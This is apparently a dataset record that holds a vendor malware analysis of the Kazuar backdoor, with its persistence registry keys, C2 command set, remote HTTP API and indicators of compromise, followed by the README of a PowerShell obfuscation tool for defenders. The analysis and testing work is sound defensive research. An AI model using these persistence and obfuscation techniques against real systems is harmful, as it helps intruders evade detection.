will describe how Kazuar works and what capabilities it offers threat actors. Initialization The malware initializes by gathering system and malware filename information and creates a mutex to make sure only one instance of the Trojan executes on the system at a time. Kazuar generates its mutex by using a process that begins with obtaining the MD5 hash of a string \xe2\x80\x9c[username]=>singleton-instance-mutex\xe2\x80\x9d. The Trojan then encrypts this MD5 hash using an XOR algorithm and the serial number of the storage volume. Kazuar uses the resulting ciphertext to generate a GUID that it appends to the string \xe2\x80\x9cGlobal\\\\\xe2\x80\x9d to create the mutex. An interesting artifact that we found within the mutex creation process is that if the code cannot obtain the system\xe2\x80\x99s storage serial number, it will use a static integer of 16456730 as a key to encrypt the MD5 hash. The hexadecimal representation of 16456730 is 0xFB1C1A, which appears to be included by the malware author as a potential reference to the United States\xe2\x80\x99 FBI and CIA organizations. The Trojan then creates a set of folders on the system to store various files created during its execution. Kazuar creates its folders using group names, which logically organize the files contained within the folder. Table 1 shows the folder layout: Folder Group Files Description base Parent folder that contains the following folder groups below sys Files that Kazuar uses for configuration settings, such as the \xe2\x80\x98serv\xe2\x80\x99 item that stores the C2 server locations log Files contain debug messages plg Files are plugins used to extend the functionality of Kazuar tsk Files that Kazuar will process as commands and their arguments res Files contain the results of the successfully processed tasks Table 1 Kazuar\xe2\x80\x99s folder group names and the files stored within The Trojan uses a similar process to create these folder and file names as it uses to generate its mutex, generating an MD5 hash of the name, using XOR on each byte using the volume serial number as a key and generating a GUID based on the ciphertext. The resulting GUIDs are used as file and folder names, which are combined with the local system path to the %LOCALAPPDATA% folder to create Kazuar\xe2\x80\x99s folders. Throughout its code, Kazuar verbosely logs its activities by writing debug messages to log files stored within the \xe2\x80\x9clog\xe2\x80\x9d folder. Kazuar encrypts the debug messages saved in these log files using the Rijndael cipher. We decrypted the initial entry that was added to the log files during the execution of the Trojan. This entry reveals the following information: malware_file_name[2720]: Kazuar's entry point started in process malware_file_name [2720] as user USERNAME 1 malware_file_name[2720]: Kazuar's entry point started in process malware_file_name [2720] as user USERNAME The log message above shows that the malware author refers to the Trojan as \xe2\x80\x9cKazuar\xe2\x80\x9d. Interestingly, the word \xe2\x80\x9cKazuar\xe2\x80\x9d appears in several languages, such as Polish, Hungarian and Slovenian, and is the ASCII form of the Russian word \xe2\x80\x9c\xd0\xba\xd0\xb0\xd0\xb7\xd1\x83\xd0\xb0\xd1\x80\xe2\x80\x9d. The word \xe2\x80\x9cKazuar\xe2\x80\x9d and \xd0\xba\xd0\xb0\xd0\xb7\xd1\x83\xd0\xb0\xd1\x80 translates to Cassowary, which is a large flightless bird native to New Guinea and Australia as shown in Figure 1. Figure 1 Cassowary (Source; Wikicommons) After initial setup, the method at the main entry point of the malware, as seen in Figure 2 may follow one of four main paths of execution. The main entry point contains a relatively simple set of if statements that determine the execution path of the malware. Interestingly, one of the paths appears to be for execution on a Mac or Unix host. Figure 2. Main entry point shows if statements that control the flow of execution The four possible paths of execution taken by Kazuar\xe2\x80\x99s main entry point are as follows: If the malware was executed with the \xe2\x80\x9cinstall\xe2\x80\x9d command-line argument, which uses .NET Framwork\xe2\x80\x99s InstallHelper method to install the malware as a service. If the malware is started in a non-user interactive environment (no user interface), the malware installs itself as a service. If no arguments are provided and the malware determines it is running in a Windows environment, it saves a DLL to the system that it injects into the explorer.exe process. The injected DLL executable loads the malware\xe2\x80\x99s executable and runs it within memory of the explorer.exe process. If the malware was executed with the \xe2\x80\x9csingle\xe2\x80\x9d command-line argument or the malware determines its running in a Mac or Unix environment, it runs the method containing Kazuar\xe2\x80\x99s functional code and will limit certain Windows specific functionality if a Mac or Unix environment is detected. The flow of execution is carefully guided by its operating environment, which is determined using the .NET Framework Environment.OSVersion.Platform.PlatformID enumeration, as seen in the function in Figure 3 that is responsible for gathering system specific information. Interestingly, we see a specific boolean variable for a PlatformID value of Unix that suggests that Kazuar might be used against Mac or Unix targets that return True for that API. Figure 3. The getsysinfo() function provides various environment enumeration capabilities for Kazuar. After enumerating the operating environment, Kazuar will attempt to establish persistent access to the system. Kazuar uses the method displayed in Figure 4 within its Autorun class to set up persistence on Windows systems, which has multiple options including: Adding a shortcut (lnk file) to the Windows startup folder Adding a sub-key to the following paths in the current user (HKCU) hive: SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\load Figure 4. Kazuar\xe2\x80\x99s Autorun class is a Windows specific method that contains multiple options for persistence using the startup folder and registry. Command and Control (C2) The Kazuar Trojan initially relies on its command and control channel to allow actors to interact with the compromised system and to exfiltrate data. Kazuar has the capabilities to use multiple protocols, such as HTTP, HTTPS, FTP or FTPS, determined by the prefixes of the hardcoded C2 URLs. So far, we have only observed HTTP used as the C2 protocol in our sample set. All of the known Kazuar C2 servers appear to be compromised WordPress blogs, suggesting that the threat group using Kazuar in attacks also locates and exploits vulnerable WordPress sites as part of their playbook. To interact with its C2 server, Kazuar begins its communication by creating an HTTP GET request to use as a beacon. The beacon, generated by the code seen in Figure 5 contains a cookie that has an \xe2\x80\x9cAuthToken\xe2\x80\x9d value that is a base64 encoded GUID used to uniquely identify the compromised system. Kazuar refers to this GUID as an \xe2\x80\x9cagent\xe2\x80\x9d identifier. Figure 5. The createGET and getWebRequest classes define the construction of the HTTP request used for command and control communication. During our analysis, we observed the beacon seen in Figure 6 sent via HTTP from a Kazuar sample to its C2 server. The initial HTTP beacon shows the base64 encoded AuthToken value within the Cookie field that we believe the C2 server uses to uniquely identify and track individual compromised hosts. Figure 6.\xc2 Wireshark snippet of a fully constructed HTTP GET request which shows the base64 encoded GUID within the Cookie header. Kazuar will read the response from the C2 server and attempt to parse the response as XML formatted data. The XML formatted data will contain what Kazuar refers to as a \xe2\x80\x9ctask\xe2\x80\x9d, which is comprised of an action identifier and specific arguments for each action. Figure 7 below shows the code responsible for receiving the response to the HTTP request and using a long integer stored in the \xe2\x80\x9cnum\xe2\x80\x9d variable as the action identifier. Figure 7.\xc2 The response parser listens for new tasks to be received from the command and control server. The action identifier is directly related to the command which the actor wishes to run on the compromised system. Surprisingly, Kazuar also contains methods for each command to equate the action identifier to a string that describes the command, which makes determining the purpose of each command much easier. Table 2 shows a list of available commands within Kazuar, specifically each action identifier, command string and a description. Action ID Commands Description 1 log Logs a specified debug message 2 get Upload files from a specified directory. It appears the actor can specify which files to upload based on their modified, accessed and created timestamps as well. 3 put Writes provided data (referred to as \xe2\x80\x98payload\xe2\x80\x99) to a specified file on the system. 4 cmd Executes a specified command and writes the output to a temporary file. The temporary file is uploaded to the C2 server 5 sleep Trojan sleeps for a specified time 6 upgrade Upgrades the Trojan by changing the current executable\xe2\x80\x99s file extension to \xe2\x80\x9c.old\xe2\x80\x9d and writing a newly provided executable in its place 7 scrshot Takes a screenshot of the entire visible screen. The screenshot is saved to a specified filename or using a filename with the following format: [year]-[month]-[day]-[hour]-[minute]-[second]-[milisecond].jpg. The file is uploaded to the C2 server 8 camshot Creates a Window called \xe2\x80\x9cWebCapt\xe2\x80\x9d to capture an image from an attached webcam, which it copies to the clipboard and writes to a specified file or a file following the same format from the \xe2\x80\x9cscrshot\xe2\x80\x9d command. The file is uploaded to the C2 server 9 uuid Sets the unique agent identifier by providing a specific GUID 10 interval Sets the transport intervals, specifically the minimum and maximum time intervals between C2 communications. 11 server Sets the C2 servers by providing a list of URLs 12 transport Sets the transport processes by providing a list of processes that Kazuar will inject its code and execute within. 13 autorun Sets the autorun type as discussed earlier in this blog. Kazuar will accept the following strings for this command: DISABLED, WINLOGON, POLICIES, HKCURUN, RUNONCE, LOADKEY, STARTUP 14 remote Sets a remote type. We are only aware of one remote type that instructs Kazuar to act as an HTTP server and allow the threat actor to interact with the compromised system via inbound HTTP requests. 15 info Gathers system information, specifically information referred to as: Agent information, System information, User information, Local groups and members, Installed software, Special folders, Environment variables, Network adapters, Active network connections, Logical drives, Running processes and Opened windows 16 copy Copies a specified file to a specified location. Also allows the C2 to supply a flag to overwrite the destination file if it already exists. 17 move Moves a specified file to a specified location. Also allows the C2 to supply a flag to delete the destination file if it exists. 18 remove Deletes a specified file. Allows the C2 to supply a flag to securely delete a file by overwriting the file with random data before deleting the file. 19 finddir Find a specified directory and list its files, including the created and modified timestamps, the size and file path for each of the files within the directory. 20 kill Kills a process by name or by process identifier (PID) 21 tasklisk List running processes. Uses a WMI query of \xe2\x80\x9cselect * from Win32_Process\xe2\x80\x9d for a Windows system, but can also running \xe2\x80\x9cps -eo comm,pid,ppid,user,start,tty,args\xe2\x80\x9d to obtain running processes from a Unix system. 22 suicide We believe this command is meant to uninstall the Trojan, but it is not currently implemented in the known samples. 23 plugin Installing plugin by loading a provided Assembly, saving it to a file whose name is the MD5 hash of the Assembly\xe2\x80\x99s name and calling a method called \xe2\x80\x9cStart\xe2\x80\x9d. 24 plugout Removes a plugin based on the Assembly\xe2\x80\x99s name. 25 pluglist Gets a list of plugins and if they are \xe2\x80\x9cworking\xe2\x80\x9d or \xe2\x80\x9cstopped\xe2\x80\x9d 26 run Runs a specified executable with supplied arguments and saves its output to a temporary file. The temporary file is up loaded to the C2 server. Table 2 Kazuar\xe2\x80\x99s command handler, including action identifier, command string and description Capabilities As can be seen from the Table 2 above, Kazuar has an extensive command set, many of which are similar in functionality as other backdoor Trojans. However, a few commands specific to Kazuar appear to be unique and are worth further discussion. First, several of these commands contain checks to determine the environment in order to use appropriate paths or commands. The \xe2\x80\x98tasklist\xe2\x80\x99 command will use a WMI query or the \xe2\x80\x9cps\xe2\x80\x9d command, which allows Kazuar to obtain running processes from both Windows and Unix systems. Also, Kazuar\xe2\x80\x99s \xe2\x80\x98cmd\xe2\x80\x99 command will run commands using \xe2\x80\x9ccmd.exe\xe2\x80\x9d for Windows systems and \xe2\x80\x9c/bin/bash\xe2\x80\x9d for Unix systems. These two commands provide evidence that the authors of Kazuar intended to use this malware as a cross-platform tool to target both Windows and Unix systems. Kazuar contains three commands related to plugins: plugin, plugout and pluglist. These three commands allow an actor to administer a framework that allows Kazuar to use additional plugins. This plugin framework provides Kazuar potentially endless functionality, as its operators can provide additional .NET applications that Kazuar can load and execute. Kazuar\xe2\x80\x99s Remote API While many backdoor Trojans have extensive command handlers and plugin frameworks, Kazuar\xe2\x80\x99s \xe2\x80\x98remote\xe2\x80\x99 command provides a functionality that is rarely seen in backdoors used in espionage campaigns. This command instructs the Trojan to start a thread to listen for inbound HTTP requests, which effectively turns Kazuar into a webserver. This functionality provides an API for the Trojan to run commands on the compromised system. Figure 8 shows the code within Kazuar that provides this functionality. Figure 8 HTTP method handler used by Kazuar to provide threat actors with API access To initiate this functionality, the actor will issue the \xe2\x80\x98remote\xe2\x80\x99 command and provide a list of URI prefixes that Kazuar\xe2\x80\x99s HTTP listener will process and respond to. The URI prefix supplied by the actor would be added to the \xe2\x80\x9cPrefixes\xe2\x80\x9d property of the HttpListener class, which requires a schema, a host, an optional port and optional path. The actor would then issue HTTP requests to URLs that match these URI prefixes using specific methods, specifically OPTIONS, POST, GET and PUT methods to interact with the compromised system using Kazuar\xe2\x80\x99s command set seen in Table 3. This functionality flips the communication flow between the Trojan and the C2 server. Instead of the Trojan initiating communications with its C2 server, the C2 server sends requests directly to the Trojan. This communications flow is important if the compromised system is a remotely accessible server that may raise flags when initiating outbound requests. Also, by creating this type of API access, the threat actors could use one accessible server as a single point to dump data to and exfiltrate data from. HTTP Method Description of Functionality OPTIONS No functionality, just responds with an HTTP \xe2\x80\x9cOK\xe2\x80\x9d status POST Actor provides XML formatted data that Kazuar will use to create a new task. Uses the exact same method (\xe2\x80\x98readResponse0\xe2\x80\x99 seen in Figure 7) to parse the XML data obtained in the initial C2 communications channel discussed earlier. Kazuar writes the results of the task to a log file that it references as \xe2\x80\x9cres\xe2\x80\x9d within a folder referenced as \xe2\x80\x9ctsk\xe2\x80\x9d. GET Provides the contents of the results of the previous task created via the HTTP POST request that is stored in the \xe2\x80\x9cres\xe2\x80\x9d file. PUT Actor provides XML formatted data that Kazuar will use to create a new task. This method is similar to the POST method, however, instead of saving the results of the command to a \xe2\x80\x9cres\xe2\x80\x9d file it responds to the HTTP PUT request with the results of the command. Table 3 HTTP methods and the functionality they provide in Kazuar\xe2\x80\x99s API This functionality flips the communication flow between the Trojan and the C2 server. Instead of the Trojan initiating communications with its C2 server, the C2 server sends requests directly to the Trojan. This communications flow is important if the compromised system is a remotely accessible server that may raise flags when initiating outbound requests. Also, by creating this type of API access, the threat actors could use one accessible server as a single point to dump data to and exfiltrate data from. Conclusion While yet another fully featured backdoor alone is not particularly novel, the existence of a code path for Unix, combined with the portability of .NET Framework code makes the Kazuar Trojan an interesting tool to keep an eye on. Another interesting portion of this malware is its remote API that allows actors to issue commands to the compromised system via inbound HTTP requests. Based on our analysis, we believe that threat actors may compile Windows and Unix based payloads using the same code to deploy Kazuar against both platforms. Palo Alto Networks AutoFocus subscribers can explore additional samples using the Kazuar AutoFocus tag. Related Indicators and Identifying Information Hashes 8490daab736aa638b500b27c962a8250bbb8615ae1c68ef77494875ac9d2ada2 b51105c56d1bf8f98b7e924aa5caded8322d037745a128781fa0bc23841d1e70 bf6f30673cf771d52d589865675a293dc5c3668a956d0c2fc0d9403424d429b2 cd4c2e85213c96f79ddda564242efec3b970eded8c59f1f6f4d9a420eb8f1858 URLs http://gaismustudija[.]lv/wp-includes/pomo/kontakti.php http://hcdh-tunisie[.]org/wp-includes/SimplePie/gzencode.php http://www.gallen[.]fi/wp-content/gallery/ File Activity %LOCALAPPDATA%\\/[a-f0-9]{32}\\/[a-f0-9]{32}\\.dll %LOCALAPPDATA%\\/[a-f0-9]{32}\\/[a-f0-9]{32}/ %USERPROFILE%\\Start Menu\\Programs\\Startup\\*.lnk RSA Keys gSI+OxtBrfXVfSRRSlNIMVYr9HFy40jokIDkUqffhU7Y/VcFB1nc8GwT4GOjK6lR/mJi3XcGg+nxqR9iLoeoOLgBFFz9O1l++81tPtRaVZ8yg+IzmZlaMhdOg0apatxhjRA/4pYOhZHwifQIjZzid6/+BgYIPBXWcX8e58l1PH+chm3DJzJ2gdHOsx6Dz9HHPr+sGLshAFF35ICb/11jq0vU9KU7CjYdf0Rvl16EDYyUQXbIG1ZMaTDzBrMcXZrBfXHEqn2Qwr4NiaDUwOwGCynBtSZXoNOfHArYxbRaBA269SPKhZgCBqdAhYfPFe2q8r8Y4fz21iZTqTngMsA2zw==EQ==

hGjs2pEZW4pN2b0Bm9xl84zxqQ2BMSflj2xpf5MH+XvCY5BBN3YROm24LYtGwy3xOdKeUJOENvYbkvirBcm2ecRxmLgE5AMMeWxZpOayUtOUd+Abx3+TT8giPG3sqEHtuaHVUjypBloE4EWnFWrmq0f3+Kpi8kHFxLul9jHubsc=

+ap/8gRvidWrAhZcAiCAYdFZIt6hSwBz5ohU5ZSPomv9e/Urtts8cin+QeBvDwF6UvyP1vz3wxUOXycaBI3StCMjCXHuBLN+wfpEhfdt6KKywsmW7I5OdogIbVRLTUJvBtiXBGG3c10ay3H8TYx00lt6GgcLAJZMZE4mHEjnj7k=D5PfoT4/N/InRsrxIWU5K7Y6jFvxFNeEaznuSz55aKUl7ZiAJKR6f1gzyR9xvJv+Qwm4RbcAfu/HAjtfahe7HWJnt50twHjUSoU3uQwU+q964O0wcdLGCWLW2e7QjEP92ZqRkTRQHt1p/ERuAoUMFCaVpMjAWLxxnqyqHPbQwb0=vuvLQJn68O6v8omRp0YH0lTLsUDVsdMrdA3mkXGbA7v+E38/i9TT3tTRfaugOKbG9CqMHN+QSeLs31oi9Gxz8yntnc+X5XozwYMlV2Lbk8e14D/Nw/RaHmgGcbjuSiO+UIeCiuFQDOzYQTkMO01KRoIwMgVixDay40rR2WTtT8k=cfVixwsMog8F8CDikcYKNmUGNJPeJ4grdJi4ZIMX5mSuhdvSccTnx7JoCMJ2LKwFLyMnmZIIeYF4EYBgwHz6rumL8Zam6Zr04uIpxWL3MZyR9BImREmH6e6aFzHq/P02phU6tNbzkHMp6QGsfgtkLSmzOed0GsvfwAxCfD20PXU=PMTR/bJ5Qs4KHMXL5r3Hnr8jvlOBW+YTFtM+RQO0evftpGUviv0crWAJWok9ujGP/z1bs4NOXDHbImkfJPSLZfw8vknglGZZ3+gzaNxmvuGBLwEJOTkbYt3KmCFAqsIPyemHebAG1XHam0WprA2Xv9pZbD8S7xlV2w6lIcg3K4ak6tNG2yKepoQ2DvFdF/ZTtOu0ybE+g8AA6UxWCy/liTLN2fxgVwP45XAAFIue/x6aF6m09gxi/xJaxwafEeonVZU9aaqpbyb5eeMixRSbkVuK2DZrF/lW9oedp0mYtI+E7nRyxykxFl3rrC9B8ETKBzNONPgB4PpuaSSdC0ELcQ==
m4SbvlZhH5UzcgDLIEIygjTCCQMxc/TrwUYZ5JA5SU2jtSBt9aqwljKJ7h4Tv5eP2Efy4Z+2QajDNtOThift4nVTWsl+iOoMKKV6pvQOFj6k2P4kRTBGo/t8J46j7DqnFeMHXUjhjv2RFnp1nms8thE6+MJsI0lnxYTLBip5mNbj+Jbr7vVzK8MKnjGxsr9FoRBVNyZM+ILFu3aO62z1a8PIrI4kqVVggD35oF4WdSrmVLFvec/1ej3Cx12NjqCXo3lZhwxlIKjFNMNtslXnk0o9L/ZlWlEjqXiez/3ryzpVBrlrtb9D+x1ZRtv58jtdSTE61//jtEb3mMUeTry+2w==EQ== Decrypted Log and Error Messages \xe2\x80\x98{0}\xe2\x80\x99 autorun algorithm is not supported! \xe2\x80\x98{0}\xe2\x80\x99 request method isn\xe2\x80\x99t supported. Accessed date mismatch in get command! Accessed date mismatch in list command! Action with identifier {0} is not implemented. Autorun command requeres autorun type to be set! Autorun failed due to {0} Cmd command requires actual commands list! Commiting suicide\xe2\x80\xa6 Control server address \xe2\x80\x98{0}\xe2\x80\x99 is invalid. Copy command requires destination path! Copy command requires source path! Copying file from {0} to {1}\xe2\x80\xa6 Created date mismatch in get command! Created date mismatch in list command! Directory listing for {0} Executing command with {0}\xe2\x80\xa6 Failed to create agent due to {0} Failed to create channel due to {0} Failed to create injector due to {0} Fatal failure due to {0} Getting file query {0}\xe2\x80\xa6 Getting system information\xe2\x80\xa6 Going to sleep for {0}\xe2\x80\xa6 Got \xe2\x80\x98{0}\xe2\x80\x99 command from {1}. Got new \xe2\x80\x98{0}\xe2\x80\x99 command. Got new task #{0} from {1}. HTTP listening isn\xe2\x80\x99t supported. IPC channel is not ready. Injected into explorer. Injected into {0} [{1}]. Injecting into explorer\xe2\x80\xa6 Injecting into {0} [{1}]\xe2\x80\xa6 Injection failed due to {0} Installing plugin\xe2\x80\xa6 Invalid FTP server status ({0}). Invalid last contact time. Invalid or unknown action format ({0})! Invalid sender interval. Kazuar\xe2\x80\x99s {0} started in process {1} [{2}] as user {3}/{4}. Killing processes\xe2\x80\xa6 List command requires file query string! Listening Listing plugins\xe2\x80\xa6 Listing processes\xe2\x80\xa6 Max interval value is less than min value! Max interval value is more than supported! Min interval value is less than supported! Modified date mismatch in get command! Modified date mismatch in list command! Move command requires destination path! Move command requires source path! Moving file from {0} to {1}\xe2\x80\xa6 Mozilla/5.0 (Windows NT {0}.{1}; rv:22.0) Gecko/20130405 Firefox/23.0 Mozilla/5.0 (X11; {0} {1}; rv:24.0) Gecko/20100101 Firefox/24.0 New plugin {0} was installed. No servers available now. Plugin command requires payload! Plugin installed. Plugin removed. Plugin {0} was removed. Plugin {0} was started. Plugout command requires plugin name string! Proc kill command requires name or pid to be set! Process {0} [{1}] exited with {2} code. Process {0} [{1}] impersonated. Put command requires correct file path! Put command requires payload! Putting file to {0}\xe2\x80\xa6 Remote control failed due to {0} Remote failed due to {0} Remote iteration failed due to {0} Remote request from {0} failed due to {1} Remove command requires file path! Removing file {0}\xe2\x80\xa6 Removing plugin\xe2\x80\xa6 Request was sent to {0}. Result #{0} was sent to {1}. Result #{0} was taken by {1}. Run command requires executable path! Run-time error {0}:{1:X8}. Run-time error {0}:{1}. Scheme \xe2\x80\x98{0}\xe2\x80\x99 is not supported! Searching file query {0}\xe2\x80\xa6 Send iteration failed due to {0} Sending request to {0}\xe2\x80\xa6 Sending result #{0} to {1}\xe2\x80\xa6 Server command requires at least one server! Setting agent id to {0}\xe2\x80\xa6 Setting autorun type to {0}\xe2\x80\xa6 Setting remote type to {0}\xe2\x80\xa6 Setting transport interval to [{0} \xe2\x80\x93 {1}]\xe2\x80\xa6 Setting transport processes: Setting transport servers: Shellcode error {0:X16}. Sleep interval is longer than supported! Solving task #{0}\xe2\x80\xa6 Startup path is empty. Taking screen shot\xe2\x80\xa6 Taking webcam shot\xe2\x80\xa6 Task #{0} execution finished. Task #{0} execution started: Task #{0} failed due to {1} Task #{0} solved. Transport command requires at least one process name! Transport process name \xe2\x80\x98{0}\xe2\x80\x99 is invalid. Transport processes Unable to create capture window. Unable to delete task #{0} file due to {1} Unable to execute command due to {0} Unable to execute task #{0} due to {1} Unable to get last contact time due to {0} Unable to get task from {0} due to {1} Unable to impersonate {0} [{1}] due to {2} Unable to return logs due to {0} Unable to send result #{0} to {1} due to {2} Unable to start plugin {0} due to {1} Unable to stop plugin {0} due to {1} Unable to store agent id due to {0} Unable to store autorun type due to {0} Unable to store interval due to {0} Unable to store remote type due to {0} Unable to store servers due to {0} Unable to store transports due to {0} Unhandled exception {0} Upgrade command requires payload! Upgrading agent\xe2\x80\xa6 Using default agent id due to {0} Using default autorun type due to {0} Using default interval due to {0} Using default remote type due to {0} Using default servers due to {0} Using default transports due to {0} Uuid command requires identifier! Waiting for shellcode failed. Waiting for window \xe2\x80\x98{0}\xe2\x80\x99 failed. explorer.exe, {0} ERROR: {0} Plugin {0} {0} doesn\xe2\x80\x99t exist! {0} was skipped. proc \xe2\x80\x93 {0} [{1}] time \xe2\x80\x93 {0} user \xe2\x80\x93 {0}/{1} ({2}) Register for Ignite \xe2\x80\x9917 Security Conference Vancouver, BC June 12\xe2\x80\x9315, 2017 Ignite \xe2\x80\x9917 Security Conference is a live, four-day conference designed for today\xe2\x80\x99s security professionals. Hear from innovators and experts, gain real-world skills through hands-on sessions and interactive workshops, and find out how breach prevention is changing the security industry. Visit the Ignite website for more information on tracks, workshops and marquee sessions. Get updates from Palo Alto Networks! Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address! Please mark, I'm not a robot! By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement. Popular Resources Resource Center Blog Communities Tech Docs Unit 42 Sitemap Legal Notices Privacy Terms of Use Documents Account Manage Subscriptions \xc2 Report a Vulnerability \xc2\xa9 2019 Palo Alto Networks, Inc. All rights reserved.","0","1","1","1","1","1","1","1","1","1","1","0","0","1","0","1","0","0","1","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","1","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","1","0","0","0","1","1","0","0","0","1","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","1","0","1","0","1","0","0","0","0","1","0","0","0","1","0","0","0","0","1","0","0","0","0","1","0","0","1","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0" -"GitHub - danielbohannon/Invoke-Obfuscation: PowerShell Obfuscator Skip to content Why GitHub? Features \xe2\x86\x92 Code review Project management Integrations Actions Package registry Team management Social coding Documentation Code hosting Customer stories \xe2\x86\x92 Security \xe2\x86\x92 Enterprise Explore Explore GitHub \xe2\x86\x92 Learn & contribute Topics Collections Trending Learning Lab Open source guides Connect with others Events Community forum GitHub Education Marketplace Pricing Plans \xe2\x86\x92 Compare plans Contact Sales Nonprofit \xe2\x86\x92 Education \xe2\x86\x92 In this repository All GitHub \xe2\x86\xb5 Jump to \xe2\x86\xb5 No suggested jump to results In this repository All GitHub \xe2\x86\xb5 Jump to \xe2\x86\xb5 In this repository All GitHub \xe2\x86\xb5 Jump to \xe2\x86\xb5 Sign\xc2 in Sign\xc2 up Watch 115 Star 1,310 Fork 340 danielbohannon/Invoke-Obfuscation Code Issues 4 Pull requests 1 Projects 0 Security Insights Dismiss Join GitHub today GitHub is home to over 40 million developers working together to host and review code, manage projects, and build software together. Sign up PowerShell Obfuscator 45 commits 2 branches 0 releases Fetching contributors Apache-2.0 PowerShell PowerShell 100.0% Branch: master New pull request Find File Clone or download Clone with HTTPS Use Git or checkout with SVN using the web URL. Download ZIP Downloading... Want to be notified of new releases in danielbohannon/Invoke-Obfuscation? Sign in Sign up Launching GitHub Desktop... If nothing happens, download GitHub Desktop and try again. Go back Launching GitHub Desktop... If nothing happens, download GitHub Desktop and try again. Go back Launching Xcode... If nothing happens, download Xcode and try again. Go back Launching Visual Studio... If nothing happens, download the GitHub extension for Visual Studio and try again. Go back cobbr Merge pull request #50 from mvle/master \xe2\x80\xa6 typo in Out-ObfuscatedAst.ps1 Latest commit f20e7f8 Mar 15, 2019 Permalink Type Name Latest commit message Commit time Failed to load latest commit information. Invoke-Obfuscation.ps1 Added ASCII encoding to output file Feb 9, 2019 Invoke-Obfuscation.psd1 Adding AST obfuscation Jan 4, 2018 Invoke-Obfuscation.psm1 v1.6 - Added CLI + Regex + Much More Jan 24, 2017 LICENSE v1.6 - Added CLI + Regex + Much More (and IEX bug fix) Jan 24, 2017 Out-CompressedCommand.ps1 Removing $env:Public invocation option for compatibility Dec 19, 2017 Out-EncodedAsciiCommand.ps1 Removing $env:Public invocation option for compatibility Dec 19, 2017 Out-EncodedBXORCommand.ps1 Removing $env:Public invocation option for compatibility Dec 19, 2017 Out-EncodedBinaryCommand.ps1 Removing $env:Public invocation option for compatibility Dec 19, 2017 Out-EncodedHexCommand.ps1 Removing $env:Public invocation option for compatibility Dec 19, 2017 Out-EncodedOctalCommand.ps1 Removing $env:Public invocation option for compatibility Dec 19, 2017 Out-EncodedSpecialCharOnlyCommand.ps1 Various TOKEN bug fixes, cross-platform compatibility, PS 6.0 compatible Oct 8, 2017 Out-EncodedWhitespaceCommand.ps1 Removing $env:Public invocation option for compatibility Dec 19, 2017 Out-ObfuscatedAst.ps1 typo in Out-ObfuscatedAst.ps1 Mar 14, 2019 Out-ObfuscatedStringCommand.ps1 Removing $env:Public invocation option for compatibility Dec 19, 2017 Out-ObfuscatedTokenCommand.ps1 Various TOKEN bug fixes, cross-platform compatibility, PS 6.0 compatible Oct 8, 2017 Out-PowerShellLauncher.ps1 Various TOKEN bug fixes, cross-platform compatibility, PS 6.0 compatible Oct 8, 2017 Out-SecureStringCommand.ps1 Removing $env:Public invocation option for compatibility Dec 19, 2017 README.md Adding AST obfuscation Jan 4, 2018 README.md Invoke-Obfuscation v1.8 Introduction Invoke-Obfuscation is a PowerShell v2.0+ compatible PowerShell command and script obfuscator. Background In the Fall of 2015 I decided to begin researching the flexibility of PowerShell's language and began cataloguing the various ways to accomplish a handful of common techniques that most attackers use on a regular basis. Initially focusing on encoded command and remote download cradle syntaxes, I discovered that various escape characters that did not hinder the execution of the command persisted in the command line arguments, both in the running process as well as what is logged in Security EID 4688 and Sysmon EID 1 event logs. This led me to systematically explore ways of obfuscating each kind of ""token"" found in any PowerShell command or script. I then explored more obscure ways to perform string-level obfuscation, various encoding/encrypting techniques (like ASCII/hex/octal/binary and even SecureString), and finally PowerShell launch techniques to abstract the command line arguments from powershell.exe and to push it back to the parent and even grandparent process. Purpose Attackers and commodity malware have started using extremely basic obfuscation techniques to hide the majority of the command from the command line arguments of powershell.exe. I developed this tool to aid the Blue Team in simulating obfuscated commands based on what I currently know to be syntactically possible in PowerShell 2.0-5.0 so that they can test their detection capabilities of these techniques. The tool's sole purpose is to break any assumptions that we as defenders may have concerning how PowerShell commands can appear on the command line. My hope is that it will encourage the Blue Team to shift to looking for Indicators of Obfuscation on the command line in addition to updating PowerShell logging to include Module, ScriptBlock and Transcription logging as these sources simplify most aspects of the obfuscation techniques generated by this tool. Usage While all of the layers of obfuscation have been built out into separate scripts, most users will find the Invoke-Obfuscation function to be the easiest way to explorer and visualize the obfuscation techniques that this framework currently supports. Installation The source code for Invoke-Obfuscation is hosted at Github, and you may download, fork and review it from this repository (https://github.com/danielbohannon/Invoke-Obfuscation). Please report issues or feature requests through Github's bug tracker associated with this project. To install: Import-Module ./Invoke-Obfuscation.psd1 Invoke-Obfuscation License Invoke-Obfuscation is released under the Apache 2.0 license. Release Notes v1.0 - 2016-09-25 DerbyCon 6.0 (Louisville, Kentucky USA): PUBLIC Release of Invoke-Obfuscation. v1.1 - 2016-10-09 SANS DFIR Summit (Prague, Czech Republic): Added -f format operator re-ordering functionality to all applicable TOKEN obfuscation functions. Also added additional syntax options for setting variable values. v1.2 - 2016-10-20 CODE BLUE (Tokyo, Japan): Added Type TOKEN obfuscation (direct type casting with string obfuscation options for type name). v1.3 - 2016-10-22 Hacktivity (Budapest, Hungary): Added two new LAUNCHERs: CLIP+ and CLIP++. Also added additional (and simpler) array char conversion syntax for all ENCODING functions that does not require For-EachObject/%. v1.4 - 2016-10-28 BruCON (Ghent, Belgium): Added new BXOR ENCODING function. Also enhanced randomized case for all components of all ENCODING functions as well as for PowerShell execution flags for all LAUNCHERs. Finally, added -EP shorthand option for -ExecutionPolicy to all LAUNCHERs as well as the optional integer representation of the -WindowStyle PowerShell execution flag: Normal (0), Hidden (1), Minimized (2), Maximized 